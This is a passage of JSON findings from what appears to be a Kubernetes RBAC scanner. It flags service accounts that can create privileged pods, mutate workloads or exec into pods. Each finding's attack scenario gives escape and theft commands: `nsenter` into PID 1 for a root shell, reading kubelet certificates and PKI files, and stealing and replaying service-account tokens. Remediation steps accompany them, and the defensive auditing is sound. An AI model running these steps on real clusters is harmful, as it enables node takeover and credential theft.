        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-002:ServiceAccount/cutres/cutres-doublebind:cutres-pods-b:pods",
    "rule_id": "KUBE-PRIVESC-002",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Namespace `cutres-pods-b` only pod creation can launch a privileged pod and escape to the node (`ServiceAccount/cutres/cutres-doublebind`)",
    "description": "Subject ServiceAccount/cutres/cutres-doublebind can `create` pods via RoleBinding `cutres-pods-b/cutres-pod-creator-b` → Role `cutres-pods-b/cutres-pod-creator`, and namespace `cutres-pods-b` does not enforce a Pod Security Admission level that blocks privileged pods. Namespace `cutres-pods-b` only.\n\nRBAC never inspects the contents of a pod, only the `create` verb. When the target namespace has no `pod-security.kubernetes.io/enforce` label (or it is set to `privileged`), nothing at admission stops the attacker from creating a pod with `privileged: true`, `hostPID: true`, `hostNetwork: true`, or a `hostPath` mount of `/`. From inside that pod, breaking out to the node is trivial (`nsenter` into PID 1, read `/etc/kubernetes/pki`, steal the kubelet client cert).\n\nThis is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-doublebind",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cutres-pod-creator",
      "namespace": "cutres-pods-b",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "cutres-pods-b",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cutres-pods-b` only"
    },
    "impact": "Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.",
    "attack_scenario": [
      "Attacker confirms pod-create with `kubectl auth can-i create pods --as=cutres-doublebind -n cutres-pods-b` and notes the target namespace has no restrictive Pod Security `enforce` label.",
      "They craft a pod with `securityContext.privileged: true`, `hostPID: true`, and a `hostPath` volume mounting `/`.",
      "They `kubectl apply` the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to `privileged`.",
      "They exec in and `nsenter -t 1 -m -u -i -n -p -- /bin/sh` to land a root shell on the node.",
      "They read `/var/lib/kubelet/pki/kubelet-client-current.pem` and `/etc/kubernetes/pki/*`, then pivot to the control plane."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "cutres-pods-b",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "namespace",
      "source_binding": "cutres-pod-creator-b",
      "source_binding_kind": "RoleBinding",
      "source_role": "cutres-pod-creator",
      "source_role_kind": "Role",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.",
    "remediation_steps": [
      "Label the namespace to enforce Pod Security: `kubectl label ns \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.",
      "Replace direct `create` on `pods` with `create/update` on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.",
      "Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects `privileged`, `hostPID`, `hostNetwork`, and sensitive `hostPath` mounts outside an explicit allowlist, as defence in depth behind PSA.",
      "Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that `kubectl auth can-i create pods --as=cutres-doublebind -n cutres-pods-b` returns `no` for application identities."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-002:ServiceAccount/local-path-storage/local-path-provisioner-service-account:local-path-storage:pods",
    "rule_id": "KUBE-PRIVESC-002",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Namespace `local-path-storage` only pod creation can launch a privileged pod and escape to the node (`ServiceAccount/local-path-storage/local-path-provisioner-service-account`)",
    "description": "Subject ServiceAccount/local-path-storage/local-path-provisioner-service-account can `create` pods via RoleBinding `local-path-storage/local-path-provisioner-bind` → Role `local-path-storage/local-path-provisioner-role`, and namespace `local-path-storage` does not enforce a Pod Security Admission level that blocks privileged pods. Namespace `local-path-storage` only.\n\nRBAC never inspects the contents of a pod, only the `create` verb. When the target namespace has no `pod-security.kubernetes.io/enforce` label (or it is set to `privileged`), nothing at admission stops the attacker from creating a pod with `privileged: true`, `hostPID: true`, `hostNetwork: true`, or a `hostPath` mount of `/`. From inside that pod, breaking out to the node is trivial (`nsenter` into PID 1, read `/etc/kubernetes/pki`, steal the kubelet client cert).\n\nThis is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "local-path-provisioner-service-account",
      "namespace": "local-path-storage"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "local-path-provisioner-role",
      "namespace": "local-path-storage",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "local-path-storage",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `local-path-storage` only"
    },
    "impact": "Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.",
    "attack_scenario": [
      "Attacker confirms pod-create with `kubectl auth can-i create pods --as=local-path-provisioner-service-account -n local-path-storage` and notes the target namespace has no restrictive Pod Security `enforce` label.",
      "They craft a pod with `securityContext.privileged: true`, `hostPID: true`, and a `hostPath` volume mounting `/`.",
      "They `kubectl apply` the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to `privileged`.",
      "They exec in and `nsenter -t 1 -m -u -i -n -p -- /bin/sh` to land a root shell on the node.",
      "They read `/var/lib/kubelet/pki/kubelet-client-current.pem` and `/etc/kubernetes/pki/*`, then pivot to the control plane."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "local-path-storage",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "namespace",
      "source_binding": "local-path-provisioner-bind",
      "source_binding_kind": "RoleBinding",
      "source_role": "local-path-provisioner-role",
      "source_role_kind": "Role",
      "verbs": [
        "get",
        "list",
        "watch",
        "create",
        "patch",
        "update",
        "delete"
      ]
    },
    "remediation": "Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.",
    "remediation_steps": [
      "Label the namespace to enforce Pod Security: `kubectl label ns \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.",
      "Replace direct `create` on `pods` with `create/update` on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.",
      "Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects `privileged`, `hostPID`, `hostNetwork`, and sensitive `hostPath` mounts outside an explicit allowlist, as defence in depth behind PSA.",
      "Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that `kubectl auth can-i create pods --as=local-path-provisioner-service-account -n local-path-storage` returns `no` for application identities."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-002:ServiceAccount/privesc-fixtures/sa-pod-create-escape:privesc-fixtures:pods",
    "rule_id": "KUBE-PRIVESC-002",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Namespace `privesc-fixtures` only pod creation can launch a privileged pod and escape to the node (`ServiceAccount/privesc-fixtures/sa-pod-create-escape`)",
    "description": "Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape can `create` pods via RoleBinding `privesc-fixtures/rb-pod-create-escape` → Role `privesc-fixtures/r-pod-create-escape`, and namespace `privesc-fixtures` does not enforce a Pod Security Admission level that blocks privileged pods. Namespace `privesc-fixtures` only.\n\nRBAC never inspects the contents of a pod, only the `create` verb. When the target namespace has no `pod-security.kubernetes.io/enforce` label (or it is set to `privileged`), nothing at admission stops the attacker from creating a pod with `privileged: true`, `hostPID: true`, `hostNetwork: true`, or a `hostPath` mount of `/`. From inside that pod, breaking out to the node is trivial (`nsenter` into PID 1, read `/etc/kubernetes/pki`, steal the kubelet client cert).\n\nThis is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "r-pod-create-escape",
      "namespace": "privesc-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "privesc-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `privesc-fixtures` only"
    },
    "impact": "Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.",
    "attack_scenario": [
      "Attacker confirms pod-create with `kubectl auth can-i create pods --as=sa-pod-create-escape -n privesc-fixtures` and notes the target namespace has no restrictive Pod Security `enforce` label.",
      "They craft a pod with `securityContext.privileged: true`, `hostPID: true`, and a `hostPath` volume mounting `/`.",
      "They `kubectl apply` the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to `privileged`.",
      "They exec in and `nsenter -t 1 -m -u -i -n -p -- /bin/sh` to land a root shell on the node.",
      "They read `/var/lib/kubelet/pki/kubelet-client-current.pem` and `/etc/kubernetes/pki/*`, then pivot to the control plane."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "privesc-fixtures",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "namespace",
      "source_binding": "rb-pod-create-escape",
      "source_binding_kind": "RoleBinding",
      "source_role": "r-pod-create-escape",
      "source_role_kind": "Role",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.",
    "remediation_steps": [
      "Label the namespace to enforce Pod Security: `kubectl label ns \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.",
      "Replace direct `create` on `pods` with `create/update` on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.",
      "Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects `privileged`, `hostPID`, `hostNetwork`, and sensitive `hostPath` mounts outside an explicit allowlist, as defence in depth behind PSA.",
      "Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that `kubectl auth can-i create pods --as=sa-pod-create-escape -n privesc-fixtures` returns `no` for application identities."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-003:ServiceAccount/rbac-fixtures/sa-workload-mutate::deployments,daemonsets,statefulsets,jobs,cronjobs",
    "rule_id": "KUBE-PRIVESC-003",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide workload-controller mutation can spawn privileged pods on `ServiceAccount/rbac-fixtures/sa-workload-mutate`",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-workload-mutate can `create/update/patch` workload controllers (`deployments`, `daemonsets`, `statefulsets`, `jobs`, `cronjobs`) via ClusterRoleBinding `crb-workload-mutate` → ClusterRole `cr-workload-mutate`. Cluster-wide: applies to every current and future namespace.\n\nAnyone who can write a workload template inherits the same implicit permissions as `pods/create`: choice of ServiceAccount, choice of Pod Security context, and choice of host-level features. The specific danger of controller mutation (vs. pod create) is durability and stealth: a `kubectl edit deployment` adding a `privileged: true` sidecar produces pods continuously, so restart-looping the pod returns a fresh shell every time.\n\nDaemonSet write is the most dangerous variant because a DaemonSet runs one pod on every node, including new nodes added later. CronJobs offer time-based persistence that survives pod evictions, node reboots, and short-lived RBAC remediations. A realistic incident: an attacker with `patch daemonsets` in `kube-system` mutates `kube-proxy` to add a malicious sidecar inheriting the existing pod's host-mounts and ServiceAccount.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-workload-mutate",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Spawn (or mutate existing) pods running as any ServiceAccount in Cluster-wide. DaemonSet write specifically yields one attacker pod per node, including future nodes.",
    "attack_scenario": [
      "Attacker enumerates writable controllers with `kubectl auth can-i patch daemonsets --as=sa-workload-mutate -A`.",
      "They identify a high-value DaemonSet (e.g. `kube-system/kube-proxy`, `kube-system/cilium`, or any node-agent that already runs privileged).",
      "They `kubectl patch` to add a sidecar container under their control, inheriting the existing pod's host-mounts, capabilities, and ServiceAccount.",
      "The DaemonSet controller rolls the change to every node; the attacker now has a privileged shell on every node and a node-level token on each.",
      "They use the token to enumerate cluster Secrets and pivot to control-plane components. Persistence survives subject-token rotation because the malicious sidecar continues running."
    ],
    "evidence": {
      "api_groups": [
        "apps",
        "batch"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "deployments",
        "daemonsets",
        "statefulsets",
        "jobs",
        "cronjobs"
      ],
      "scope": "cluster",
      "source_binding": "crb-workload-mutate",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-workload-mutate",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create",
        "update",
        "patch"
      ]
    },
    "remediation": "Restrict workload-controller mutation to platform/CI identities; route application changes through GitOps with PR review.",
    "remediation_steps": [
      "Audit who has `create/update/patch` on `deployments,daemonsets,statefulsets,jobs,cronjobs`. Most application identities should not have this.",
      "Move deployment changes behind GitOps (Argo CD/Flux) so humans push to Git and the controller applies the change under its own ServiceAccount.",
      "Add a Kyverno/Gatekeeper policy that rejects pod templates with `privileged`, `hostPID`, `hostNetwork`, `hostPath` mounts, or `automountServiceAccountToken: true` outside an explicit allowlist.",
      "For DaemonSets specifically, restrict creation to named platform ServiceAccounts. Verify with `kubectl auth can-i create daemonsets --as=sa-workload-mutate -n kube-system` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation",
      "https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/",
      "https://kyverno.io/policies/pod-security/baseline/disallow-privileged-containers/disallow-privileged-containers/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: Workload creation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation"
      },
      {
        "title": "Kubernetes — DaemonSet (runs on every node)",
        "url": "https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/"
      },
      {
        "title": "Kyverno — Disallow privileged containers policy",
        "url": "https://kyverno.io/policies/pod-security/baseline/disallow-privileged-containers/disallow-privileged-containers/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Privilege Escalation",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-004:ServiceAccount/privesc-fixtures/sa-pod-exec::pods/exec",
    "rule_id": "KUBE-PRIVESC-004",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `pods/exec` access enables token theft from running pods (`ServiceAccount/privesc-fixtures/sa-pod-exec`)",
    "description": "Subject ServiceAccount/privesc-fixtures/sa-pod-exec can `create`/`get` the `pods/exec` (or `pods/attach`) subresource via ClusterRoleBinding `crb-pod-exec` → ClusterRole `cr-pod-exec`. Cluster-wide: applies to every current and future namespace.\n\nExec opens an interactive process inside an already-running container. Unlike pod creation, the attacker does not choose the ServiceAccount: they inherit whatever identity the target pod already runs as. In a shared namespace that frequently includes a pod backed by a high-privilege ServiceAccount (a controller, an operator, a CI runner), so exec becomes a credential-theft primitive: read `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container and replay it.\n\nIf the target container is itself privileged, runs as root, or mounts the host, exec is also a direct node-escape path. The permission is doubly dangerous because it leaves a thin audit trail (the exec stream is a single API call) and is commonly granted by `edit`-style roles that operators assume are harmless.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-pod-exec",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Run commands inside any running pod in Cluster-wide, inheriting that pod's ServiceAccount token (and host access if the pod is privileged). A common path to a control-plane-adjacent SA token.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i create pods/exec --as=sa-pod-exec -A`.",
      "They enumerate running pods and their ServiceAccounts: `kubectl get pods -o custom-columns=NAME:.metadata.name,SA:.spec.serviceAccountName` and pick a pod with a privileged SA.",
      "They exec in: `kubectl exec -it \u003cpod\u003e -- /bin/sh` (or open the raw `pods/exec` WebSocket directly).",
      "They read the mounted token (`cat /var/run/secrets/kubernetes.io/serviceaccount/token`) and replay it against the API server as that ServiceAccount.",
      "If the container is privileged or mounts the host, they instead break out to the node and harvest the kubelet credentials."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "pods/exec"
      ],
      "scope": "cluster",
      "source_binding": "crb-pod-exec",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-pod-exec",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create",
        "get"
      ]
    },
    "remediation": "Remove `create`/`get` on `pods/exec` and `pods/attach` from non-operator identities; gate any legitimate debug access behind a break-glass workflow.",
    "remediation_steps": [
      "Audit who holds exec rights: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"pods/(exec|attach)\"))'`. Most application identities should have none.",
      "Remove the verbs. For interactive debugging, prefer `kubectl debug` gated by a JIT/break-glass role granted only for the duration of an incident.",
      "Pin sensitive workloads to dedicated, least-privilege ServiceAccounts so an exec into a co-tenant pod does not yield a powerful token.",
      "Verify with `kubectl auth can-i create pods/exec --as=sa-pod-exec -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#pod-exec",
      "https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: pods/exec",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#pod-exec"
      },
      {
        "title": "Kubernetes — Get a Shell to a Running Container",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1609",
        "name": "Container Administration Command",
        "url": "https://attack.mitre.org/techniques/T1609/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-004:ServiceAccount/foothold-ops/foothold-execer:foothold-fixtures:pods/exec",
    "rule_id": "KUBE-PRIVESC-004",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Namespace `foothold-fixtures` only `pods/exec` access enables token theft from running pods (`ServiceAccount/foothold-ops/foothold-execer`)",
    "description": "Subject ServiceAccount/foothold-ops/foothold-execer can `create`/`get` the `pods/exec` (or `pods/attach`) subresource via RoleBinding `foothold-fixtures/foothold-execer` → Role `foothold-fixtures/foothold-execer`. Namespace `foothold-fixtures` only.\n\nExec opens an interactive process inside an already-running container. Unlike pod creation, the attacker does not choose the ServiceAccount: they inherit whatever identity the target pod already runs as. In a shared namespace that frequently includes a pod backed by a high-privilege ServiceAccount (a controller, an operator, a CI runner), so exec becomes a credential-theft primitive: read `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container and replay it.\n\nIf the target container is itself privileged, runs as root, or mounts the host, exec is also a direct node-escape path. The permission is doubly dangerous because it leaves a thin audit trail (the exec stream is a single API call) and is commonly granted by `edit`-style roles that operators assume are harmless.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-execer",
      "namespace": "foothold-ops"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "foothold-execer",
      "namespace": "foothold-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `foothold-fixtures` only"
    },
    "impact": "Run commands inside any running pod in Namespace `foothold-fixtures` only, inheriting that pod's ServiceAccount token (and host access if the pod is privileged). A common path to a control-plane-adjacent SA token.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i create pods/exec --as=foothold-execer -n foothold-fixtures`.",
      "They enumerate running pods and their ServiceAccounts: `kubectl get pods -o custom-columns=NAME:.metadata.name,SA:.spec.serviceAccountName` and pick a pod with a privileged SA.",
      "They exec in: `kubectl exec -it \u003cpod\u003e -- /bin/sh` (or open the raw `pods/exec` WebSocket directly).",
      "They read the mounted token (`cat /var/run/secrets/kubernetes.io/serviceaccount/token`) and replay it against the API server as that ServiceAccount.",
      "If the container is privileged or mounts the host, they instead break out to the node and harvest the kubelet credentials."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "foothold-fixtures",
      "resource_names": null,
      "resources": [
        "pods/exec"
      ],
      "scope": "namespace",
      "source_binding": "foothold-execer",
      "source_binding_kind": "RoleBinding",
      "source_role": "foothold-execer",
      "source_role_kind": "Role",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove `create`/`get` on `pods/exec` and `pods/attach` from non-operator identities; gate any legitimate debug access behind a break-glass workflow.",
    "remediation_steps": [
      "Audit who holds exec rights: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"pods/(exec|attach)\"))'`. Most application identities should have none.",
      "Remove the verbs. For interactive debugging, prefer `kubectl debug` gated by a JIT/break-glass role granted only for the duration of an incident.",
      "Pin sensitive workloads to dedicated, least-privilege ServiceAccounts so an exec into a co-tenant pod does not yield a powerful token.",
      "Verify with `kubectl auth can-i create pods/exec --as=foothold-execer -n foothold-fixtures` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#pod-exec",
      "https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/",
